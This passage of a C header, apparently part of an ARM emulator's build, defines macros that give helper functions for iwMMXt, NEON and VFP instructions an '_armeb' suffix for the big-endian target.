gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_armeb +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_armeb +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_armeb +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_armeb +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_armeb +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_armeb +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_armeb +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_armeb +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_armeb +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_armeb +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_armeb +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_armeb +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_armeb +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_armeb +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_armeb +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_armeb +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_armeb +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_armeb +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_armeb +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_armeb +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_armeb +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_armeb +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_armeb +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_armeb +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_armeb +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_armeb +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_armeb +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_armeb +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_armeb +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_armeb +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_armeb +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_armeb +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_armeb +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_armeb +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_armeb +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_armeb +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_armeb +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_armeb +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_armeb +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_armeb +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_armeb +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_armeb +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_armeb +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_armeb +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_armeb +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_armeb +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_armeb +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_armeb +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_armeb +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_armeb +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_armeb +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_armeb +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_armeb +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_armeb +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_armeb +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_armeb +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_armeb +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_armeb +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_armeb +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_armeb +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_armeb +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_armeb +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_armeb +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_armeb +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_armeb +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_armeb +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_armeb +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_armeb +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_armeb +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_armeb +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_armeb +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_armeb +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_armeb +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_armeb +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_armeb +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_armeb +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_armeb +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_armeb +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_armeb +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_armeb +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_armeb +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_armeb +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_armeb +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_armeb +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_armeb +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_armeb +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_armeb +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_armeb +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_armeb +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_armeb +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_armeb +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_armeb +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_armeb +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_armeb +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_armeb +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_armeb +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_armeb +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_armeb +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_armeb +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_armeb +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_armeb +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_armeb +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_armeb +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_armeb +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_armeb +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_armeb +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_armeb +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_armeb +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_armeb +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_armeb +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_armeb +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_armeb +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_armeb +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_armeb +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_armeb +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_armeb +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_armeb +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_armeb +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_armeb +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_armeb +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_armeb +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_armeb +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_armeb +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_armeb +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_armeb +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_armeb +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_armeb +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_armeb +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_armeb +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_armeb +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_armeb +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_armeb +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_armeb +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_armeb +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_armeb +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_armeb +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_armeb +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_armeb +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_armeb +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_armeb +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_armeb +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_armeb +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_armeb +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_armeb +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_armeb +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_armeb +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_armeb +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_armeb +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_armeb +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_armeb +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_armeb +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_armeb +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_armeb +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_armeb +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_armeb +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_armeb +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_armeb +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_armeb +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_armeb +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_armeb +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_armeb +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_armeb +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_armeb +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_armeb +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_armeb +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_armeb +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_armeb +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_armeb +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_armeb +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_armeb +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_armeb +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_armeb +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_armeb +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_armeb +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_armeb +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_armeb +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_armeb +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_armeb +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_armeb +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_armeb +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_armeb +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_armeb +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_armeb +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_armeb +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_armeb +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_armeb +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_armeb +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_armeb +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_armeb +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_armeb +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_armeb +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_armeb +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_armeb +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_armeb +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_armeb +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_armeb +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_armeb +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_armeb +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_armeb +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_armeb +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_armeb +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_armeb +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_armeb +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_armeb +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_armeb +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_armeb +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_armeb +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_armeb +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_armeb +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_armeb +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_armeb +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_armeb +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_armeb +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_armeb +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_armeb +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_armeb +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_armeb +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_armeb +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_armeb +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_armeb +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_armeb +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_armeb +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_armeb +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_armeb +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_armeb +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_armeb +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_armeb +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_armeb +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_armeb +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_armeb +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_armeb +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_armeb +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_armeb +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_armeb +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_armeb +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_armeb +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_armeb +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_armeb +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_armeb +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_armeb +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_armeb +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_armeb +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_armeb +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_armeb +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_armeb +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_armeb +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_armeb +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_armeb +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_armeb +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_armeb +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_armeb +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_armeb +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_armeb +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_armeb +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_armeb +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_armeb +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_armeb +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_armeb +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_armeb +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_armeb +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_armeb +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_armeb +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_armeb +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_armeb +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_armeb +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_armeb +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_armeb +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_armeb +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_armeb +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_armeb +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_armeb +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_armeb +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_armeb +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_armeb +#define gen_helper_neon_tbl gen_helper_neon_tbl_armeb +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_armeb +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_armeb +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_armeb +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_armeb +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_armeb +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_armeb +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_armeb +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_armeb +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_armeb +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_armeb +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_armeb +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_armeb +#define gen_helper_neon_zip16 gen_helper_neon_zip16_armeb +#define gen_helper_neon_zip8 gen_helper_neon_zip8_armeb +#define gen_helper_pre_hvc gen_helper_pre_hvc_armeb +#define gen_helper_pre_smc gen_helper_pre_smc_armeb +#define gen_helper_qadd16 gen_helper_qadd16_armeb +#define gen_helper_qadd8 gen_helper_qadd8_armeb +#define gen_helper_qaddsubx gen_helper_qaddsubx_armeb +#define gen_helper_qsub16 gen_helper_qsub16_armeb +#define gen_helper_qsub8 gen_helper_qsub8_armeb +#define gen_helper_qsubaddx gen_helper_qsubaddx_armeb +#define gen_helper_rbit gen_helper_rbit_armeb +#define gen_helper_recpe_f32 gen_helper_recpe_f32_armeb +#define gen_helper_recpe_u32 gen_helper_recpe_u32_armeb +#define gen_helper_recps_f32 gen_helper_recps_f32_armeb +#define gen_helper_rintd gen_helper_rintd_armeb +#define gen_helper_rintd_exact gen_helper_rintd_exact_armeb +#define gen_helper_rints gen_helper_rints_armeb +#define gen_helper_rints_exact gen_helper_rints_exact_armeb +#define gen_helper_ror_cc gen_helper_ror_cc_armeb +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_armeb +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_armeb +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_armeb +#define gen_helper_sadd16 gen_helper_sadd16_armeb +#define gen_helper_sadd8 gen_helper_sadd8_armeb +#define gen_helper_saddsubx gen_helper_saddsubx_armeb +#define gen_helper_sar_cc gen_helper_sar_cc_armeb +#define gen_helper_sdiv gen_helper_sdiv_armeb +#define gen_helper_sel_flags gen_helper_sel_flags_armeb +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_armeb +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_armeb +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_armeb +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_armeb +#define gen_helper_set_rmode gen_helper_set_rmode_armeb +#define gen_helper_set_user_reg gen_helper_set_user_reg_armeb +#define gen_helper_shadd16 gen_helper_shadd16_armeb +#define gen_helper_shadd8 gen_helper_shadd8_armeb +#define gen_helper_shaddsubx gen_helper_shaddsubx_armeb +#define gen_helper_shl_cc gen_helper_shl_cc_armeb +#define gen_helper_shr_cc gen_helper_shr_cc_armeb +#define gen_helper_shsub16 gen_helper_shsub16_armeb +#define gen_helper_shsub8 gen_helper_shsub8_armeb +#define gen_helper_shsubaddx gen_helper_shsubaddx_armeb +#define gen_helper_ssat gen_helper_ssat_armeb +#define gen_helper_ssat16 gen_helper_ssat16_armeb +#define gen_helper_ssub16 gen_helper_ssub16_armeb +#define gen_helper_ssub8 gen_helper_ssub8_armeb +#define gen_helper_ssubaddx gen_helper_ssubaddx_armeb +#define gen_helper_sub_saturate gen_helper_sub_saturate_armeb +#define gen_helper_sxtb16 gen_helper_sxtb16_armeb +#define gen_helper_uadd16 gen_helper_uadd16_armeb +#define gen_helper_uadd8 gen_helper_uadd8_armeb +#define gen_helper_uaddsubx gen_helper_uaddsubx_armeb +#define gen_helper_udiv gen_helper_udiv_armeb +#define gen_helper_uhadd16 gen_helper_uhadd16_armeb +#define gen_helper_uhadd8 gen_helper_uhadd8_armeb +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_armeb +#define gen_helper_uhsub16 gen_helper_uhsub16_armeb +#define gen_helper_uhsub8 gen_helper_uhsub8_armeb +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_armeb +#define gen_helper_uqadd16 gen_helper_uqadd16_armeb +#define gen_helper_uqadd8 gen_helper_uqadd8_armeb +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_armeb +#define gen_helper_uqsub16 gen_helper_uqsub16_armeb +#define gen_helper_uqsub8 gen_helper_uqsub8_armeb +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_armeb +#define gen_helper_usad8 gen_helper_usad8_armeb +#define gen_helper_usat gen_helper_usat_armeb +#define gen_helper_usat16 gen_helper_usat16_armeb +#define gen_helper_usub16 gen_helper_usub16_armeb +#define gen_helper_usub8 gen_helper_usub8_armeb +#define gen_helper_usubaddx gen_helper_usubaddx_armeb +#define gen_helper_uxtb16 gen_helper_uxtb16_armeb +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_armeb +#define gen_helper_v7m_msr gen_helper_v7m_msr_armeb +#define gen_helper_vfp_absd gen_helper_vfp_absd_armeb +#define gen_helper_vfp_abss gen_helper_vfp_abss_armeb +#define gen_helper_vfp_addd gen_helper_vfp_addd_armeb +#define gen_helper_vfp_adds gen_helper_vfp_adds_armeb +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_armeb +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_armeb +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_armeb +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_armeb +#define gen_helper_vfp_divd gen_helper_vfp_divd_armeb +#define gen_helper_vfp_divs gen_helper_vfp_divs_armeb +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_armeb +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_armeb +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_armeb +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_armeb +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_armeb +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_armeb +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_armeb +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_armeb +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_armeb +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_armeb +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_armeb +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_armeb +#define gen_helper_vfp_mins gen_helper_vfp_mins_armeb +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_armeb +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_armeb +#define gen_helper_vfp_muld gen_helper_vfp_muld_armeb +#define gen_helper_vfp_muls gen_helper_vfp_muls_armeb +#define gen_helper_vfp_negd gen_helper_vfp_negd_armeb +#define gen_helper_vfp_negs gen_helper_vfp_negs_armeb +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_armeb +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_armeb +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_armeb +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_armeb +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_armeb +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_armeb +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_armeb +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_armeb +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_armeb +#define gen_helper_vfp_subd gen_helper_vfp_subd_armeb +#define gen_helper_vfp_subs gen_helper_vfp_subs_armeb +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_armeb +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_armeb +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_armeb +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_armeb +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_armeb +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_armeb +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_armeb 